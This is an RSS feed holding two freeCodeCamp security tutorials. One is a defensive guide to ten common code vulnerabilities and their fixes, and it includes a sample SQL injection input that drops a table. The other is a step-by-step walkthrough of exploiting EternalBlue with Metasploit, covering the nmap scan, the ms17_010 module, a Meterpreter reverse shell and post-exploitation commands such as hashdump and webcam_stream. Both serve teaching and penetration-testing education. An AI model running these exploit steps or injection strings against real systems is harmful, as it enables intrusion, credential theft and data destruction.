<?xml version="1.0" encoding="UTF-8"?>
<rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/"
    xmlns:atom="http://www.w3.org/2005/Atom" xmlns:media="http://search.yahoo.com/mrss/" version="2.0">
    <channel>
        
        <title>
            <![CDATA[ vulnerability - freeCodeCamp.org ]]>
        </title>
        <description>
            <![CDATA[ Browse thousands of programming tutorials written by experts. Learn Web Development, Data Science, DevOps, Security, and get developer career advice. ]]>
        </description>
        <link>https://www.freecodecamp.org/news/</link>
        <image>
            <url>https://cdn.freecodecamp.org/universal/favicons/favicon.png</url>
            <title>
                <![CDATA[ vulnerability - freeCodeCamp.org ]]>
            </title>
            <link>https://www.freecodecamp.org/news/</link>
        </image>
        <generator>Eleventy</generator>
        <lastBuildDate>Sun, 26 Jul 2026 20:13:58 +0000</lastBuildDate>
        <atom:link href="https://www.freecodecamp.org/news/tag/vulnerability/rss.xml" rel="self" type="application/rss+xml" />
        <ttl>60</ttl>
        
            <item>
                <title>
                    <![CDATA[ What Makes Code Vulnerable – And How to Fix It ]]>
                </title>
                <description>
                    <![CDATA[ Writing code is relatively easy. But writing secure code is much harder. The truth is, most developers don’t realize their code is vulnerable until something breaks. Or, worse, until someone attacks it. So if you want secure code, you first have to k... ]]>
                </description>
                <link>https://www.freecodecamp.org/news/what-makes-code-vulnerable-and-how-to-fix-it/</link>
                <guid isPermaLink="false">680679690b7357fefc92cf6b</guid>
                
                    <category>
                        <![CDATA[ #cybersecurity ]]>
                    </category>
                
                    <category>
                        <![CDATA[ vulnerability ]]>
                    </category>
                
                    <category>
                        <![CDATA[ coding ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Validation ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ Manish Shivanandhan ]]>
                </dc:creator>
                <pubDate>Mon, 21 Apr 2025 16:59:21 +0000</pubDate>
                <media:content url="https://cdn.hashnode.com/res/hashnode/image/upload/v1745251285687/7ce5aca0-1edc-49e4-879d-b5690cbb64ea.png" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>Writing code is relatively easy. But writing secure code is much harder.</p>
<p>The truth is, most developers don’t realize their code is vulnerable until something breaks. Or, worse, until someone attacks it. So if you want secure code, you first have to know what bad code looks like.</p>
<p>In this tutorial, we’ll see 10 clear signs that your code might be vulnerable to attacks. And more importantly, how to fix it.</p>
<h3 id="heading-heres-what-well-cover">Here’s what we’ll cover:</h3>
<ul>
<li><p><a class="post-section-overview" href="#heading-1-hardcoded-credentials">1. Hardcoded Credentials</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-2-no-input-validation">2. No Input Validation</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-3-poor-error-handling">3. Poor Error Handling</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-4-outdated-dependencies">4. Outdated Dependencies</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-5-no-authentication-or-weak-authentication">5. No Authentication or Weak Authentication</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-6-missing-authorization-checks">6. Missing Authorization Checks</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-7-exposed-sensitive-data-in-urls">7. Exposed Sensitive Data in URLs</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-8-no-rate-limiting">8. No Rate Limiting</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-9-unsafe-file-uploads">9. Unsafe File Uploads</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-10-missing-https">10. Missing HTTPS</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-final-thoughts">Final Thoughts</a></p>
</li>
</ul>
<h2 id="heading-1-hardcoded-credentials"><strong>1. Hardcoded Credentials</strong></h2>
<p>This one is <em>everywhere</em>. Maybe you’ve seen it yourself – an API key sitting right there in the code. A database password written in plain text.</p>
<p>It looks like this:</p>
<pre><code class="lang-plaintext">DB_PASSWORD = "supersecret123"
API_KEY = "sk_test_abc123"
</code></pre>
<p>If this code leaks (and it will), attackers can do whatever they want. They can log into your systems, steal your data, or run up huge bills on cloud services – all without breaking a sweat.</p>
<p>And here’s the scary part: this kind of leak doesn’t just happen when your whole project gets hacked. It can happen when someone pushes code to GitHub and forgets to add <code>.env</code> to <code>.gitignore</code>. Boom – your secret keys are now public.</p>
<h3 id="heading-how-to-protect-against-it"><strong>How to Protect Against It</strong></h3>
<p>Never hardcode sensitive data like API keys, database passwords, or tokens. Instead, use environment variables.</p>
<p>These are hidden from the source code and can be safely managed per environment (dev, test, production). For example, a <code>.env</code> file imported into your codebase:</p>
<pre><code class="lang-plaintext">import os
db_password = os.getenv("DB_PASSWORD")
</code></pre>
<h2 id="heading-2-no-input-validation"><strong>2. No Input Validation</strong></h2>
<p>If you trust user input, you’re already in trouble. Attackers love sending weird stuff, like super long strings, funky characters, or unexpected formats.</p>
<p>Here’s what it looks like:</p>
<pre><code class="lang-plaintext">username = request.GET['username']
print("Hello " + username)
</code></pre>
<p>Now someone enters:</p>
<pre><code class="lang-plaintext">username=Robert'); DROP TABLE users; --
</code></pre>
<p><strong>Boom.</strong> You’ve just been SQL injected. Your database table? Gone.</p>
<p>Without validation, your app can break or even be hijacked. Bad input can lead to issues like SQL injection, cross-site scripting (XSS), and general bugs.</p>
<p>Basically, you’re giving attackers a blank check.</p>
<h3 id="heading-how-to-protect-against-it-1"><strong>How to Protect Against It</strong></h3>
<p>Make sure you validate all inputs. For example:</p>
<pre><code class="lang-plaintext">import re
email = request.GET.get('email')
if not re.match(r"[^@]+@[^@]+\.[^@]+", email):
    return "Invalid email format"
</code></pre>
<p>Use parameterized queries. Never build SQL strings from raw user input:</p>
<pre><code class="lang-plaintext">cursor.execute("SELECT * FROM users WHERE email = %s", (email,))
</code></pre>
<p>And use strict data types. Don’t just assume input is clean. Make it pass a test.Limit input length. No one needs a 5,000-character username.Escape special characters especially if you’re using input in HTML or SQL.</p>
<h2 id="heading-3-poor-error-handling"><strong>3. Poor Error Handling</strong></h2>
<p>This is what lazy error handling looks like:</p>
<pre><code class="lang-plaintext">except Exception as e:
    print(e)  # Exposes internal errors to the user
</code></pre>
<p>Or worse:</p>
<pre><code class="lang-plaintext">except:
    pass  # Silently swallows all errors
</code></pre>
<p>In the first example, the error is fully displayed to the user. The second example ignores all errors.</p>
<p>Silent errors are dangerous. And showing full error messages to users? That’s handing over a map to your system.</p>
<p>Imagine a database error pops up in production, and your app spits out something like:</p>
<pre><code class="lang-plaintext">psycopg2.OperationalError: could not connect to server: Connection refused
</code></pre>
<p>Great – now attackers know what database you’re using, and they might start poking around.</p>
<h3 id="heading-how-to-protect-against-it-2"><strong>How to Protect Against It</strong></h3>
<ul>
<li><p><strong>Log detailed errors</strong> – but do it securely. Use logging tools or services, and don’t store logs where users can see them.</p>
</li>
<li><p><strong>Show users simple messages</strong> like:<br>  <code>"Oops! Something went wrong. Please try again later."</code><br>  That’s all they need to know.</p>
</li>
<li><p><strong>Never expose stack traces in production.</strong> Turn off debug mode and use proper error pages.</p>
</li>
<li><p><strong>Handle specific exceptions</strong> where possible, so you know exactly what failed and why.</p>
</li>
</ul>
<p>Example:</p>
<pre><code class="lang-plaintext">try:
    process_data()
except ValueError as e:
    logger.error(f"Data error: {e}")
    return "Invalid input. Please check your data."
except Exception as e:
    logger.exception("Unexpected error")
    return "Something went wrong. Try again later."
</code></pre>
<p>Use error monitoring tools like Sentry, Rollbar, or LogRocket. They catch errors, track them, and help you fix them – before users even notice.</p>
<h2 id="heading-4-outdated-dependencies"><strong>4. Outdated Dependencies</strong></h2>
<p>Using old packages is like leaving your front door wide open. Attackers know exactly where the weak spots are – and they actively scan for them.</p>
<p>If your <code>package.json</code> or <code>requirements.txt</code> file hasn’t changed in years, that’s a red flag.</p>
<h3 id="heading-how-to-protect-against-it-3"><strong>How to Protect Against It</strong></h3>
<ul>
<li><p><strong>Update regularly.</strong> New versions often patch security flaws.</p>
</li>
<li><p><strong>Audit your dependencies.</strong> Use tools like <code>npm audit</code> and <code>pip-audit</code> based on your codebase.</p>
</li>
<li><p><strong>Automate updates</strong> with tools like Dependabot, Renovate, or PyUp.</p>
</li>
</ul>
<pre><code class="lang-plaintext">pip-audit
# or
npm audit
</code></pre>
<p>Even small packages can have big impacts. Stay updated, stay safe.</p>
<h2 id="heading-5-no-authentication-or-weak-authentication"><strong>5. No Authentication or Weak Authentication</strong></h2>
<p>If your app lets anyone in without verifying who they are, that’s game over. Weak logins are just as dangerous.</p>
<p>Common mistakes include:</p>
<ul>
<li><p><strong>No password complexity rules</strong> – Weak passwords like “123456” or “password” can be cracked in seconds using brute-force or dictionary attacks.</p>
</li>
<li><p><strong>Storing passwords in plain text</strong> – If your database is ever breached, all user credentials are exposed instantly, leading to massive data leaks and account takeovers.</p>
</li>
<li><p><strong>No account lockout after repeated failed logins</strong> – Without a limit on login attempts, attackers can keep guessing passwords endlessly using automated tools.</p>
</li>
</ul>
<h3 id="heading-how-to-protect-against-it-4"><strong>How to Protect Against It</strong></h3>
<p>First, you can hash passwords using strong algorithms like <code>bcrypt</code>.</p>
<p>Here’s an example in Python:</p>
<pre><code class="lang-plaintext">import bcrypt
hashed = bcrypt.hashpw(password.encode('utf-8'), bcrypt.gensalt())
</code></pre>
<p>You can also enforce strong password policies (min length, symbols, and so on) and use multi-factor authentication (MFA) if available for extra protection.</p>
<p>A few extra lines of code can stop a full-blown breach.</p>
<h2 id="heading-6-missing-authorization-checks"><strong>6. Missing Authorization Checks</strong></h2>
<p>Authentication checks <em>who you are</em>. Authorization checks <em>what you can do</em>. Skipping the second one is like giving everyone admin access.</p>
<p>Example:</p>
<pre><code class="lang-plaintext">@app.route('/user/&lt;id&gt;')
def get_user(id):
    return User.query.get(id)
</code></pre>
<p>Here, there’s no check to see if the current user is allowed to view that data.</p>
<h3 id="heading-how-to-protect-against-it-5"><strong>How to Protect Against It</strong></h3>
<pre><code class="lang-plaintext">@app.route('/user/&lt;id&gt;')
@login_required
def get_user(id):
    if current_user.id != int(id):
        return "Unauthorized", 403
    return User.query.get(id)
</code></pre>
<p>In the above code, a login is required and the user is verified before giving them access to the data.</p>
<ul>
<li><p>Always verify ownership and roles before showing or modifying data.</p>
</li>
<li><p>Implement access control rules across your API and frontend.</p>
</li>
<li><p>Don’t trust IDs from the frontend – verify on the backend too.</p>
</li>
</ul>
<h2 id="heading-7-exposed-sensitive-data-in-urls"><strong>7. Exposed Sensitive Data in URLs</strong></h2>
<p>Ever seen a password reset link like this?</p>
<pre><code class="lang-plaintext">https://example.com/reset-password?token=abcd1234
</code></pre>
<p>Looks harmless – but it’s not. Tokens, session IDs, and API keys <strong>should never be in URLs</strong>. They get saved in:</p>
<ul>
<li><p>Browser history</p>
</li>
<li><p>Server logs</p>
</li>
<li><p>Analytics tools</p>
</li>
</ul>
<h3 id="heading-how-to-protect-against-it-6"><strong>How to Protect Against It</strong></h3>
<p>Make sure you only send sensitive data in POST requests or headers, like this:</p>
<pre><code class="lang-plaintext">POST /reset-password
Authorization: Bearer abcd1234
</code></pre>
<h2 id="heading-8-no-rate-limiting"><strong>8. No Rate Limiting</strong></h2>
<p>Rate limiting is a security technique that controls how many times a user (or system) can make a request to your server within a given time frame – for example, no more than 10 login attempts per minute.</p>
<p>Without rate limits,</p>
<ul>
<li><p>An attacker can make 1,000 login attempts in a minute</p>
</li>
<li><p>Your server may crash under fake requests</p>
</li>
</ul>
<h3 id="heading-how-to-protect-against-it-7"><strong>How to Protect Against It</strong></h3>
<p>Set a max request limit per IP or user. You can use tools like Cloudflare or inbuilt tools in programming languages to do this. For example, in Python, we can use flask_limiter.</p>
<pre><code class="lang-plaintext">from flask_limiter import Limiter
from flask_limiter.util import get_remote_address

limiter = Limiter(app, key_func=get_remote_address)

@app.route("/login")
@limiter.limit("5 per minute")
def login():
    # login logic
</code></pre>
<p>In the above code, the login attempts are limited to 5 per minute. Stop abuse before it starts.</p>
<h2 id="heading-9-unsafe-file-uploads"><strong>9. Unsafe File Uploads</strong></h2>
<p>Letting users upload files? Cool. But if you’re not careful, they can:</p>
<ul>
<li><p>Upload malware</p>
</li>
<li><p>Overwrite key files</p>
</li>
<li><p>Execute scripts on your server</p>
</li>
</ul>
<p>Here’s an example of a common mistake:</p>
<pre><code class="lang-plaintext">file. Save(f"/uploads/{file.filename}")
</code></pre>
<p>Any type of file could be uploaded this way.</p>
<h3 id="heading-how-to-protect-against-it-8"><strong>How to Protect Against It</strong></h3>
<p>To start, you can rename files before saving:</p>
<pre><code class="lang-plaintext">pythonCopyEditimport uuid
filename = str(uuid.uuid4()) + ".jpg"
</code></pre>
<p>You can check content type (not just file extension):</p>
<pre><code class="lang-plaintext">pythonCopyEditif file.content_type not in ["image/jpeg", "image/png"]:
    return "Invalid file type"
</code></pre>
<p>You also can store files outside public directory, and finally limit file size in your server config and backend code</p>
<h2 id="heading-10-missing-https"><strong>10. Missing HTTPS</strong></h2>
<p>If your app still uses plain old HTTP, all data travels in the open – including:</p>
<ul>
<li><p>Passwords</p>
</li>
<li><p>Tokens</p>
</li>
<li><p>Personal info</p>
</li>
</ul>
<p>Attackers can sniff it all with tools like <a target="_blank" href="https://www.freecodecamp.org/news/learn-wireshark-computer-networking/">Wireshark</a>.</p>
<h3 id="heading-how-to-protect-against-it-9"><strong>How to Protect Against It</strong></h3>
<p>To start, you can use HTTPS everywhere and get a free SSL cert from <a target="_blank" href="https://letsencrypt.org/">Let’s Encrypt</a>.</p>
<p>You can also redirect insecure traffic – here’s how you’d do it in Flask, for example:</p>
<pre><code class="lang-plaintext">@app.before_request
def before_request():
    if not request.is_secure:
        return redirect(request.url.replace("http://", "https://"))
</code></pre>
<p>Encrypting traffic is not optional – it’s table stakes for modern apps.</p>
<h2 id="heading-final-thoughts"><strong>Final Thoughts</strong></h2>
<p>Writing secure code isn’t about being perfect. It’s about being careful. Slow down. Look at your code with fresh eyes. Think like an attacker. Plan for failure before it happens.</p>
<p>The best security isn’t patched in later – it’s baked in from the start.</p>
<p>For more cybersecurity tutorials, <a target="_blank" href="https://newsletter.stealthsecurity.sh/">join my newsletter</a>. New to cybersecurity? Check out my <a target="_blank" href="https://start.stealthsecurity.sh/">Security Starter Course</a>.</p>
 ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ How to Exploit the EternalBlue Vulnerability on Windows – A Step-by-Step Guide ]]>
                </title>
                <description>
                    <![CDATA[ If you’ve followed cybersecurity news over the past few years, you’ve likely come across EternalBlue. This critical Windows exploit played a key role in the widespread WannaCry ransomware attack that affected systems in over 150 countries. In this ar... ]]>
                </description>
                <link>https://www.freecodecamp.org/news/how-to-exploit-the-eternalblue-vulnerability-on-windows/</link>
                <guid isPermaLink="false">67d35b3cba576fa68285a197</guid>
                
                    <category>
                        <![CDATA[ #cybersecurity ]]>
                    </category>
                
                    <category>
                        <![CDATA[ ethicalhacking ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Exploitation ]]>
                    </category>
                
                    <category>
                        <![CDATA[ metasploit ]]>
                    </category>
                
                    <category>
                        <![CDATA[ metasploit framework ]]>
                    </category>
                
                    <category>
                        <![CDATA[ vulnerability ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ Manish Shivanandhan ]]>
                </dc:creator>
                <pubDate>Thu, 13 Mar 2025 22:25:00 +0000</pubDate>
                <media:content url="https://cdn.hashnode.com/res/hashnode/image/upload/v1737564552005/119beff1-e8fb-489c-931b-903421473464.png" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>If you’ve followed cybersecurity news over the past few years, you’ve likely come across EternalBlue.</p>
<p>This critical Windows exploit played a key role in the widespread <a target="_blank" href="https://en.wikipedia.org/wiki/WannaCry_ransomware_attack">WannaCry ransomware</a> attack that affected systems in over 150 countries.</p>
<p>In this article, we’ll walk through how EternalBlue works, how to scan for it, and how to exploit it using Metasploit.</p>
<blockquote>
<p><strong><em>Note*</em></strong>: This is strictly for ethical hacking and penetration testing purposes on systems you own or have explicit permission to test. Do not use these tools on machines where you don’t have permission.*</p>
</blockquote>
<h2 id="heading-what-is-eternalblue"><strong>What Is EternalBlue?</strong></h2>
<p>EternalBlue is a dangerous computer exploit developed by the U.S. National Security Agency (NSA). In 2017, a hacking group called the Shadow Brokers leaked it online. Hackers quickly started using it to attack computers worldwide.</p>
<p>EternalBlue takes advantage of a weakness in Windows computers. This weakness is in the SMB (Server Message Block) protocol, which helps computers share files and printers over a network. By exploiting this flaw, hackers can break into a system without needing a password.</p>
<p>One of the most famous cyberattacks using EternalBlue was WannaCry. This was a ransomware attack that spread across the world in May 2017. It infected over 200,000 computers in more than 150 countries, locking up files and demanding payment. Another attack, NotPetya, used EternalBlue to cause billions of dollars in damage.</p>
<p>Now lets look at how a machine vulnerable to EternalBlue can be exploited.</p>
<h2 id="heading-prerequisites"><strong>Prerequisites</strong></h2>
<ol>
<li><p>A target Windows system vulnerable to EternalBlue (for example, an unpatched Windows 7 system).</p>
</li>
<li><p>An attacking system (often Kali Linux) with Metasploit installed.</p>
</li>
<li><p>Familiarity with basic pentesting commands (Nmap, Metasploit, and so on).</p>
</li>
</ol>
<h3 id="heading-tools-youll-need">Tools You’ll Need</h3>
<p>We are going to use two tools in this tutorial.</p>
<p><strong>Nmap (Network Mapper)</strong> is a tool used to scan networks and discover devices, open ports, and running services. It helps ethical hackers and system administrators find security weaknesses and map out network structures. <a target="_blank" href="https://www.freecodecamp.org/news/what-is-nmap-and-how-to-use-it-a-tutorial-for-the-greatest-scanning-tool-of-all-time/">Here is a full tutorial on Nmap</a>.</p>
<p><strong>Metasploit</strong> is a powerful hacking framework used to test security by finding and exploiting vulnerabilities in computer systems. It includes <strong>Meterpreter</strong>, an advanced payload that gives hackers remote control over a compromised machine. <a target="_blank" href="https://www.freecodecamp.org/news/learn-metasploit-for-beginners/">Here is a full tutorial on Metasploit</a>.</p>
<h2 id="heading-identify-the-target-and-check-for-open-ports"><strong>Identify the Target and Check for Open Ports</strong></h2>
<p>First, get the IP address of your target machine. In our example, the IP is <code>10.10.232.162</code>. You’ll want to confirm that SMB (port 445) is open because EternalBlue attacks the SMB service.</p>
<pre><code class="lang-plaintext">nmap -p 445 10.10.232.162
</code></pre>
<p>If the port is open, Nmap will report that port 445 is open. That’s your first green light.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1737563621594/86733206-6b14-4a51-ae77-bd651fe066dc.webp" alt="Nmap response" class="image--center mx-auto" width="1100" height="337" loading="lazy"></p>
<h2 id="heading-start-metasploit"><strong>Start Metasploit</strong></h2>
<p>Open up your terminal and start the Metasploit Framework (you can <a target="_blank" href="https://www.freecodecamp.org/news/learn-metasploit-for-beginners/">learn more about Metasploit in my article</a> here if you need a refresher):</p>
<pre><code class="lang-plaintext">msfconsole
</code></pre>
<p>Metasploit will load, displaying the number of exploits, auxiliary modules, and payloads available.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1737563650243/bf779d7c-a272-4dc7-aeba-65b812af2268.webp" alt="Msfconsole" class="image--center mx-auto" width="1100" height="307" loading="lazy"></p>
<h2 id="heading-scan-for-the-eternalblue-ms17010-vulnerability"><strong>Scan for the EternalBlue (MS17–010) Vulnerability</strong></h2>
<p>Next, use Metasploit’s built-in scanner for EternalBlue:</p>
<pre><code class="lang-plaintext">search scanner eternalblue
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1737563706786/62f94087-b078-46d9-a0fd-66f00f05336e.webp" alt="Scanner search results" class="image--center mx-auto" width="1100" height="495" loading="lazy"></p>
<p>Use the smb_ms17_010 scanner to check for the EternalBlue vulnerability.</p>
<pre><code class="lang-plaintext">use auxiliary/scanner/smb/smb_ms17_010
show options
</code></pre>
<p>Set the target’s IP address (RHOSTS) to your Windows machine:</p>
<pre><code class="lang-plaintext">set RHOSTS 10.10.217.189
</code></pre>
<p>Then, run the scanner:</p>
<pre><code class="lang-plaintext">run
</code></pre>
<p>If the scanner reports that the host is “likely vulnerable” and shows details such as Windows 7 Professional, you’ve confirmed the EternalBlue vulnerability.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1737563744272/f3204f5f-11aa-4778-aa7e-b4a6b9d90912.webp" alt="ms17_010 scan results" class="image--center mx-auto" width="1100" height="306" loading="lazy"></p>
<h2 id="heading-exploit-the-vulnerability"><strong>Exploit the Vulnerability</strong></h2>
<p>Once you know the target is vulnerable, search for the actual EternalBlue exploit module:</p>
<pre><code class="lang-plaintext">search exploit eternalblue
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1737563783135/0a4c7c5b-5f2b-4d4f-bb2a-c3af8b49f29e.webp" alt="Exploit search results" class="image--center mx-auto" width="1100" height="649" loading="lazy"></p>
<p>You should see a list of possible exploits. The one we’re interested in is typically labelled something like:</p>
<pre><code class="lang-plaintext">exploit/windows/smb/ms17_010_eternalblue
</code></pre>
<p>Use that exploit:</p>
<pre><code class="lang-plaintext">use exploit/windows/smb/ms17_010_eternalblue
show options
</code></pre>
<p>Set the target’s IP address again:</p>
<pre><code class="lang-plaintext">set RHOSTS 10.10.217.189
</code></pre>
<p>Then check the payload settings. Metasploit often defaults to a <strong>Meterpreter</strong> payload (for example, <code>windows/x64/meterpreter/reverse_tcp</code>), which is ideal. Confirm that your local IP (LHOST) is correct, so the connection can come back to your machine.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1737563823155/6d4e795a-abdb-4b08-8b25-292ac134135e.webp" alt="Options for exploit" class="image--center mx-auto" width="1100" height="655" loading="lazy"></p>
<p>Finally, run the exploit:</p>
<pre><code class="lang-plaintext">run
</code></pre>
<h2 id="heading-meterpreter-shell-and-post-exploitation"><strong>Meterpreter Shell and Post-Exploitation</strong></h2>
<p>If successful, you will land in a <strong>Meterpreter</strong> shell. Meterpreter is a powerful payload that allows you to:</p>
<ul>
<li><p>Dump password hashes</p>
</li>
<li><p>Elevate privileges</p>
</li>
<li><p>Capture webcam streams</p>
</li>
<li><p>Record microphones, and more.</p>
</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1737563857046/7de15dd6-7905-4ad0-9aea-7b3be8febc35.webp" alt="Successful meterpreter shell" class="image--center mx-auto" width="1100" height="664" loading="lazy"></p>
<p>Here’s a quick look at some Meterpreter commands:</p>
<pre><code class="lang-plaintext">sysinfo         # Displays the target system information
getuid          # Shows the user context you’re running under
hashdump        # Dumps SAM password hashes (requires privilege escalation)
webcam_stream   # Streams from the target’s webcam if available
</code></pre>
<p>The EternalBlue exploit is a prime example of how a single unpatched vulnerability can expose a system for takeover.</p>
<p>Understanding its mechanics helps defensive teams patch systems, monitor network traffic for suspicious SMB communications, and create robust response strategies.</p>
<h2 id="heading-conclusion"><strong>Conclusion</strong></h2>
<p>EternalBlue remains one of the most notable Windows vulnerabilities, illustrating the importance of patching and cybersecurity hygiene. From scanning with Nmap to exploiting with Metasploit, the process follows a typical penetration testing workflow: <strong>scan for holes</strong>, <strong>identify vulnerabilities</strong>, <strong>exploit</strong>, and <strong>escalate</strong>.</p>
<p>Hackers use EternalBlue to spread malware, create botnets, and steal data. Cybersecurity experts recommend updating Windows, disabling SMBv1, and using strong firewalls to stay protected.</p>
<p>Microsoft released a patch (a security update) in March 2017 to fix the issue. However, many computers were not updated, making them easy targets for hackers. Even today, some systems remain unpatched and at risk.</p>
<p>For video tutorials on Cybersecurity, check out my <a target="_blank" href="https://www.youtube.com/@stealthsecurity_sh?sub_confirmation=true"><strong>YouTube channel</strong></a>. To get some hands on experience with Eternal Blue and similar vulnerabilities, check out this <a target="_blank" href="https://start.stealthsecurity.sh/">Security Starter</a> course.</p>
 ]]>
                </content:encoded>
            </item>
        
    </channel>
</rss>
